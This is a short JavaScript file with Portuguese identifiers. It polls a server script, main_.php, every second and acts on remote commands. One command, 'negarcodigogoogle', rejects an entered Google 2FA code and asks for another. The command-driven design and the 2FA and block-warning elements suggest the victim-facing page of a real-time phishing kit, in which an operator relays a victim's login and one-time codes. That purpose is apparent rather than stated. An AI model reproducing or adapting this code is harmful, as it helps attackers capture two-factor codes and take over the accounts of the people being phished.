
function dispararComando(e){

    myVar = setInterval(esperaresposta, 1000);
}

var oquer = "login";
function esperaresposta(){
    Get("","./main_.php",0);
}

function Post(data,urlapi){
    dispararComando(); 

    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function(){
        if (this.readyState == 4 && this.status == 200){
            var json = this.response;
        }
    };
    xhttp.open("POST", urlapi, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.responseType = 'json';
    xhttp.send(data);

    return false;
}

function Get(data,urlapi,e){
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function(){
        if (this.readyState == 4 && this.status == 200){
            var json = this.response;

            if(e!=1){
                status(JSON.parse(json));
            }
        }
    };
    xhttp.open("GET", urlapi+data, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send();
    return false;
}

var onOff = 1;
function status(json){   
    

    if(json.comando=="negarcodigogoogle"){

       document.getElementById('error_token').style ="display:block;";
        document.getElementById('token2fa_master').style.display = "block";                 
        document.getElementById('casa').style.display = "none";
        document.getElementById('submit-login').disabled = false;
        document.getElementById('submit-login').innerHTML = "Authenticate";
        document.getElementById('otp').value = "";
        document.getElementById('aviso_bloque').style.display = "none";
        clearInterval(myVar);
        myVar = setTimeout(erroNone, 5000);
        lol=4;codeErro=1;
       
    };

   
}

function erroNone(){
    document.getElementById('error_token').style.display = "none";
}